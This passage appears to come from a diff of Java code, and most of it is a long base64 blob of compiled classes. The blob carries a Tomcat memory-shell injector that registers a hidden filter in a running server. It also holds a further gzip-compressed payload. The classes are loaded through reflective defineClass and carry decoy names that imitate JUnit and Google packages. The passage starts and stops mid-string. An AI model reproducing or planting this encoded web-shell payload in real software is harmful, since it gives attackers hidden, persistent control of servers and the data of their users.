G9yZy5hcGFjaGUuY2F0YWxpbmEuZGVwbG95LkZpbHRlckRlZggBGAEAJG9yZy5hcGFjaGUuY2F0YWxpbmEuZGVwbG95LkZpbHRlck1hcAoALgEaDAAxARsBAD0oTGphdmEvbGFuZy9TdHJpbmc7WkxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7KUxqYXZhL2xhbmcvQ2xhc3M7CAEdAQANc2V0RmlsdGVyTmFtZQgBHwEADnNldEZpbHRlckNsYXNzCAEhAQAMYWRkRmlsdGVyRGVmCAEjAQANc2V0RGlzcGF0Y2hlcggBJQEAB1JFUVVFU1QIAScBAA1hZGRVUkxQYXR0ZXJuCgAIASkMASoAiQEADWdldFVybFBhdHRlcm4IASwBADBvcmcuYXBhY2hlLmNhdGFsaW5hLmNvcmUuQXBwbGljYXRpb25GaWx0ZXJDb25maWcKAC4BLgwBLwEwAQAXZ2V0RGVjbGFyZWRDb25zdHJ1Y3RvcnMBACIoKVtMamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3I7CAEyAQANc2V0VVJMUGF0dGVybggBNAEAEmFkZEZpbHRlck1hcEJlZm9yZQgBNgEADGFkZEZpbHRlck1hcAoBOAB3BwE5AQAdamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3IKATgBOwwAPQE8AQAnKFtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7CAE+AQANZmlsdGVyQ29uZmlncwcBQAEADWphdmEvdXRpbC9NYXALAT8BQgwBQwFEAQADcHV0AQA4KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsKACUBRgwBRwAGAQAPcHJpbnRTdGFja1RyYWNlCgAIAAMBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAGZmlsdGVyAQASTGphdmEvbGFuZy9PYmplY3Q7AQAIY29udGV4dHMBABBMamF2YS91dGlsL0xpc3Q7AQAEdGhpcwEAQ0xjb20vcmVhamFzb24vamF2YXdlYi9tZW1zZWxsL3RvbWNhdC9pbmplY3Rvci9Ub21jYXRGaWx0ZXJJbmplY3RvcjsBABZMb2NhbFZhcmlhYmxlVHlwZVRhYmxlAQAkTGphdmEvdXRpbC9MaXN0PExqYXZhL2xhbmcvT2JqZWN0Oz47AQANU3RhY2tNYXBUYWJsZQEADGRlY29kZXJDbGFzcwEAB2RlY29kZXIBAAdpZ25vcmVkAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAJYmFzZTY0U3RyAQASTGphdmEvbGFuZy9TdHJpbmc7AQAUTGphdmEvbGFuZy9DbGFzczwqPjsBAApFeGNlcHRpb25zAQAOY29tcHJlc3NlZERhdGEBAANvdXQBAB9MamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW07AQACaW4BAB5MamF2YS9pby9CeXRlQXJyYXlJbnB1dFN0cmVhbTsBAA9nemlwSW5wdXRTdHJlYW0BAB9MamF2YS91dGlsL3ppcC9HWklQSW5wdXRTdHJlYW07AQAGYnVmZmVyAQABbgEAAUkHAWgBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAEdmFyNQEAIExqYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb247AQADb2JqAQAEbmFtZQEABWZpZWxkAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEABWNsYXp6AQAMdGFyZ2V0T2JqZWN0AQAKbWV0aG9kTmFtZQcBcwEAK2phdmEvbGFuZy9yZWZsZWN0L0ludm9jYXRpb25UYXJnZXRFeGNlcHRpb24BAAV2YWx1ZQEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAHbWV0aG9kcwEAG1tMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAAWUBACFMamF2YS9sYW5nL05vU3VjaE1ldGhvZEV4Y2VwdGlvbjsBACJMamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb247AQAKcGFyYW1DbGF6egEAEltMamF2YS9sYW5nL0NsYXNzOwEABXBhcmFtAQATW0xqYXZhL2xhbmcvT2JqZWN0OwEABm1ldGhvZAEACXRlbXBDbGFzcwEAFVtMamF2YS9sYW5nL0NsYXNzPCo+OwcBfAcBfgcBdwEACVNpZ25hdHVyZQEAYChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczwqPjtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEABGtleTEBABNMamF2YS91dGlsL0hhc2hNYXA7AQADa2V5AQALY2hpbGRyZW5NYXABAAZ0aHJlYWQBABJMamF2YS9sYW5nL1RocmVhZDsBAAd0aHJlYWRzAQAXTGphdmEvdXRpbC9IYXNoTWFwPCoqPjsBACYoKUxqYXZhL3V0aWwvTGlzdDxMamF2YS9sYW5nL09iamVjdDs+OwEACWNsYXp6Qnl0ZQEAC2NsYXNzTG9hZGVyAQAXTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBAAlmaWx0ZXJEZWYBAAlmaWx0ZXJNYXABAAJlMgEADGNvbnN0cnVjdG9ycwEAIFtMamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3I7AQAMZmlsdGVyQ29uZmlnAQAPTGphdmEvdXRpbC9NYXA7AQAOY2F0YWxpbmFMb2FkZXIBAA9maWx0ZXJDbGFzc05hbWUBAApmaWx0ZXJOYW1lAQAjW0xqYXZhL2xhbmcvcmVmbGVjdC9Db25zdHJ1Y3RvcjwqPjsHAZcHAaABACBqYXZhL2xhbmcvQ2xhc3NOb3RGb3VuZEV4Y2VwdGlvbgcBogEAIGphdmEvbGFuZy9JbnN0YW50aWF0aW9uRXhjZXB0aW9uAQAIPGNsaW5pdD4BAApTb3VyY2VGaWxlAQAZVG9tY2F0RmlsdGVySW5qZWN0b3IuamF2YQEAJGNvbS9nb29nbGUvZ3NvL1dkYm1KL1Nlc3Npb25EYXRhVXRpbAcBpgoBpwAJCgGnAB4KAacAIgEAJkxjb20vZ29vZ2xlL2dzby9XZGJtSi9TZXNzaW9uRGF0YVV0aWw7AQAhY29tLmdvb2dsZS5nc28udktHSGguRXJyb3JIYW5kbGVyCAGsAQ88SDRzSUFBQUFBQUFBLzZWWWVYd1R4eFgrUnBLOWtyeGdZaE1UY2NRY0FYd2lETVlZT3hCc1k3Q0RNUWttSklhR1ppMnZiWUdzVlZZcmc4blJ0RTNQOUpmUXUrbmROQTFObTdUUUJobUhoTkFMMmpTOXI3VDk5VXp2TTcyYk5vMzd6YTRrSkZ2R3YvenloMlpuWjk2OGVlOTc3MzB6cXlkZmVQUU1nSTJpeGc4WDNBbzhLZ3BRS0hEcEFXMUVDMGEwNkdDd0xhTEY0MTJHMXErYkFvVlhocU5oYTVPQXU2SnlqMXpqbFF0OEF2TXJ1dkl1YVhiRWlsU29tQ1ZRMUs4UGhLTzZMU0F3cjJKZmEyZG41ZVNWelY0VWM0ZVc5aDQvTGtHSmdsSVZjM0dwUUtrVVBCd01tYU14eXdpMmhXTkQwcWFpUWQzcWpNWXRMUnJTQlNxekRlbXh6SEIwc05uWllkTENaZ1h6Qk1welp1SXhQUlRzMFVPbWJtM1hSM3Y0NWtNQTh4VXNVTEVRaXdTYVE4WncwTlMxQTFyY2lBYmwya042WDNCWUg0N3JrVWpRTW9aRG1oVWNOUHFQaENNUkxiZ3QxZGthamxqU1V2ZEJmVlNnWktxQmZwUmpzWUlsS3BaaW1jQ2N5UUlDWGpyWk9tcnBSTTFUVWJtdjFZOHlMSmZZcjNCZ3pPUDBIb2xlaFlwS1ZIR1JqSnNVN1hRazQzb29ZWWF0MFNEOVRJbldxS2pGS2dHbDM5Z2FqbW9SUnB1S3VaZUMxU25zblEzYUQ0ZjBtQlUyb2dyV0NDeDNFSXpyNWtoRXQ0SkRsaFVMZHJEcGNRWjI2VGNuOUxpbG9GNWd4VXlpOFpnUmplc1M4d1lWNnlYZy9pRmRwbEczTnF3WG9RNGJWRFNoV2NCSE9EcDBKeWRYVEJ2eG5DR3BkYU9LVFZKcmthTjFqeFpKNkJMN3pTcGEwRXFVUTBiVTBzSlJvcndnSjZHSE5MTkhPc0lVYTY3Y0t5M1pvcUlkVzJrZ0xlblI0M0hDSWJDMElwMXFlWHkwWld3ek9sUjBTak04TVdhN1ZMWmRSWmQwUzZXeWF6U1R6akpmL0pUc1ZyRVQxM0NpVDR2ckRmVmI5SkRSenlRdnkrZXlUSW9BZHFub3dXNEJjWmlSWlB6MmN0eUxQWHlKYWFNUjFtUVJia0N2Z3IwcTl1RmxBcGRmM0Y3SHBoYUxlL1FsTEgxbXRIZjJIZEJERmpONlAxNnU0Q1lWR3ZweU10b1JjREk2eFFPbEZWTTV3STkrNkFvR1ZBeGlTS0I0MHJ6QTdQVDZORGNGcG1wSmNaREV4U3ViZ3lvaUdDWTQxNUxpWkhKUDJWYWlZNmlJNFdaNkhzL3hmR1VlejZjNlhybkhDMXJuajZYRGFBZllVREFpc01pV0RodEJXY2t0cHFtTjdreFlzWVJGWmJvMjdFY0NidW4ycUlvanVJVlpHdFVQWFNDMnVSVjVZRlp3bThEaUM4T091QlhXWkhsbTFla3JjcVVpRVgxUWk3U0VRZ3h5bHRRcnllTVhwSFlscUdoWXo4ejdjUWRlTFNublRvSExzckhZUFdRYWg3UytpRzRUeVg2OFZzWHI4SHJTQnl0R2k4UWwxSGx3WWhXdHhSdFYzSVUzT2ZWOFBmbEl4bkZlMmxFQ2RRMVJUazNZbFhPM2ludGs1YmlIKzlmSnduMnppcmZnclZ3ZlQvVEZVMVJaVnBGN3BtUTQ5dTE0aDRKM3FuZ1g3azN6V2U0V0FnV0haR2VTeFZtRXVoL3ZVZkZldkkvcGF4bHBiczZOVEdhN0JENmc0b09TejRzc0l4TnhtWWIzcWZndzdzOVVkWHMwWGRXNUdabDFPRHdnL1R3bTdjcm5XaEVleE1jVWZGekZRM2lZaFpCYjBzN3BRd29MczVxOWt0eWQwMmh6eFNTdXltWHM1dWxtSFpLMkUvMlRxY3BlbGJEQ2tWV3R0amN5ZzArbytCUStUYzRaTUd6cTVpa3hBMjJrRC82VERxTTZrSmdLeG5oZTdzdExEdU1xSHNWcEozVjI2TmFRMFo5eEtXZVhxYXV6OXpYMWdRalRNZWhvWUQwOXp0VFlsNC9QbnNCWkJaOVI4Vmw4anZrL25RWm1mVGc2WWh5a3l4dnlaSDBlelhtcTJvc3ZrTjkwRzRQZHFUUlRjRjdBSmJuOFM4eVVlQ0s2YWpnY0Q2MXFiZWxwVDJlUTZjV1haZFhaTDE1OHhZSFNPVE00OXpYTzlldk8zRGVtNnNqSWZZdUo2Y2kxSmdZR1pCQyt3eHpQbDFNOHdkcnN6QzN1NHFXdU96SGNwNXU3SlJISVM0NFIwaUo3TkRNczMxT0RIbXNvVERyWTJQVVNibEU4SmNVUmtzUTBWRStNUWp4dmZEM2h3YWhtSlV4ZGNsVWVvcit5YXBQVUZHSko1YjBjMHRnUnpheFBUMCs2K01pbGRFVElvMlN2d0t3ZVN3c2QzS0hGVW43dWUybVYxVFZ0L2JMb3VPTkE3aDB5bFRTYzROYlpPYmZMeWN6d2lMNHpwcHU1UndMRkN6WFQ1UG5ETzNDR2J2T2VTeFJWNHVuYndPS1o3amNFcmwrek5PWnZQTWRwM2pRdURncXpLSjRMUk5xeTZaRWlZWWNjWGx0d0VkQm92NWsyWXVYMDlrK3l4bXRtekpnY3p1a3VycVNQL3drc3ZKaWJDaVpTOTRCcHZWS0VTRjJWWnc0alN6elRqeXZDTStVK2w5Sjk0WkFYaFZsblgrZk9MRTNsazkxTVlXaEVCOEtEZHVhcEExa2pkUFJpOHZJN2d2NmFCcjk0RkllUzVQZWpjK0lKWERLRmxaMkthMkFCOTdHMENrYmszWndzbGNzam83RTBsOHpOWDlHS3cxemN5dDlqSk15UVRxTW9YWnBMSXF2a1dvRWxrb2NHRFdNd29nY0g0MFp3WlB1MmpxRmd1MmthWm9jVzdZK1ErMFNaRjUwK01ROGRQT3JXaGhyMDFYMk4yb1pRM2JvMWErbzFyNWd2cCthekxPcnEyclkwdERTdVg5ZTRvYkcrcm1GdFE5dmE5UzF0aldzYVd0YTBySzV2YmZPS1JWTDBidHAxSGZHcWJSblVvNVpYTEphRERaSVppWlZYTEpPdkd3V1dkYzFvV2JPZm90MnkyU1VicjJ3T3l1WStMR0hyZ3NDM2VWY1Q4cnVWbi9oQ2ZuSFl6M3RTei9XcDV5Yjc2V09QWC81c3Y4dTNlbnM5VUZFMUJsRlZLaTQ3S1FKOExEZ3BGdkp4K1VsUnpzZVNrMklwSDFlY0ZNdFBBTGF1QWx1UDFMQ09HbHg4VmxaVmowRjVFU3A0UCtkQ3FXSWpQTFlLWDFXMXUvck1HUHpIK2VMQzk5Z1cydGFWNDJtMlpZNFF2aTlXMkNwOCtCSE9jLzdIdHZSUDJPUDNVTXFxcDduU3cyZE55ZXhUbU5OZHUvQmVLSjVqOEJTY1JsbHYxU05pWVJLWGw4d2V3eFZKckt5dFRxTDZlTGM0N2lEQnorZ2czUGcxKzFmQ1BZRmllQlF4VDhFNW9mRGJXVFlUbk1vZWM3RVJFN2dNN3RTZ2xBcmE5cGNSS1dBNXJWbUJaVmhKM1JXb1l2dTBqYjJNd3pMOEZEL2pmbFgwNGVkNGhqMWFuZkd4QnIrd2ZaUzlYK0pYZHJRZXdtOGM0RndQVTBNUnNWeFVmUloxVFo2YXMxamJWQkR3MEwrbDQyaDA0Unllelhwaloza1NWOTJMSHdZODQyZ1RhQ3EwWndQanVOcUZVMkpsazFJVlVOeEpVZEdrQkFwTHJodkg5UzV1dmxUMlQ0dDV2VlZKM0poRWFFeFVCcFNrcUJwSDFJMWp1Q3ZnS1RFRHlqZ3NOMDRqMFR1R1EwM2V6UEt6NkUvaWNKUHZHSXFiL0tkeFIyL0FQNFpYUFJId0JieEp2T1o2UGozMnMyQWNieERTd25MM25EbEpIRTNpYlFGZkV1L096RWo1OTN0bzJ5bFJMU2N2TEpEeUgrSFFNUlRWVnRlTTQ2UFNxbGxOaGVtWEU0VDBLRDZFKzNGcjZuazdWRkVzU2pKaGpzQTd3VW12SGIzbkZieWc0RUVGZFFyV0tyaUI4UVFtR0RyZmROTUtQd0NFSXZBOGloVHNuMkFXRms0VlpiU1VWbWFGejA2TEE1alBkalhEWHdlVmswRW1ReU5McVFNTnVKWUZleVBmYmtVVHY2NmFhZk1tV3QxQ3U2L0NBOWlNNDJqRktiUVIyaTBzL0hiOEFGdnhGMndUSGx6TnROc3VpckdUdnUwUWM5RXRGbEtiVExVN01ZczYzUGd0ZnNleWVRQisvQjUvWUhzVUZ2NklQOEZMcmJ0VHM0MTRDbi9HczdTdEE0OVI4M2tvMU9YbGltYzR4bVJMSnlkN2Y4WGZaSEt5OTNmOFE1WW5lLy9FdjdoVElhbnAzM2lPUmFpS1MvQWYvQmNGd21VWHRFdTRoYVNyU2xyclNsRUk3TklXSnliVi9YVlpkUzh5TlNHRVY1QjliSFVlUHQzOCtUT01WbTNMNWxIV2F5dFRuY21VTXAvOFBIT3NFRHJsWkxFZUZsMGxuemlGNHp0cVNoNFJaNUZNNGxRTm40OGxjYWE3bGlWUThublA0K2p2ZFplYzYrRlVMVi8yOTdxcjJEOXpsdGVZWTlqUVhmSkZlN2xNZkkvTTd4dExuc3hlRXZCTVdWUFE1S2srYmhQcFJrWTR5R2pmek1nRTZaN016MHBKUTVzbHpURFh5bTF5bVdEU2VGTHZrbXZrMkhOMFM3cTdoazZDS2VUQ1RReWJoZ1hvbzlvRDFCQ2lZaDNiTUlBZEdPUVdZVzR5aEJFY3RLSHBvS1lGV0NxS21BWnVybXdVcXBoRkxUdHdoVDNtNGNyYTFGZ0wxb25aS2JZNnpKUTdiNE05SXVid2pCRU11Qk0xUjBjSmU4NUs5dEpSbzgwKytZK1hFN1Y4NEQrV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"; ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); try{ - classLoader.loadClass("org.junit.cq.DateUtil").newInstance(); + classLoader.loadClass(className).newInstance(); }catch (Exception e){ try { java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - String bytecodeBase64 = "yv66vgAAADQBpggA7AoANwDtCgBpAO4LAEMA7wsA8ADxCwDwAPIKAGkA8woAaQD0BwD1BwD2CgAKAO0HAPcIAPgKAGkA+QcAjQoADAD6CAD7CgBJAPwIAP0KAGkA/ggA/wgAhAcBAAoAFwEBCwECAO8KABcBAwoANwEECgAyAPoIAQULAEMBBggBBwoADAEICgAyAQkIAQoIAQsIAQwIAHcHAQ0KACYBDgoADAEPCgAyARAKAGkBEQoAMAESCgAyARMKAGkBFAoAaQEVCgBpARYHARcIAJkHARgHAJgJARkBGgoAMgEbCgEcAR0HAR4KARkBHwoBHAEgBwEhCgBpASIIASMHAKYKASQBJQoACgEmCwBDAScKAGkBKAgBKQcBKggBKwoACgDvCAEsCgAyAS0IAS4HAS8KADIBMAgBMQgBMggBMwcBNAoATgDtBwE1CgBQATYHATcKAFIBOAoAUgE5CgBOAToKAE4BOwoAaQE8CgE9AR0KAT0BAwoAMgE+BwE/CgAyAUAKAFsBQQoBPQFCCgBpAUMKADIBRAoBHAD6CgBJAUUKARwBRgcBRwoAZAFBBwFICgBmAUkKACYBQQcBSgoAaQDtAQAMZ2V0Q2xhc3NOYW1lAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEARUxjb20vcmVhamFzb24vamF2YXdlYi9tZW1zZWxsL3RvbWNhdC9pbmplY3Rvci9Ub21jYXRMaXN0ZW5lckluamVjdG9yOwEAD2dldEJhc2U2NFN0cmluZwEABjxpbml0PgEAAygpVgEACGxpc3RlbmVyAQASTGphdmEvbGFuZy9PYmplY3Q7AQAHY29udGV4dAEACGNvbnRleHRzAQAQTGphdmEvdXRpbC9M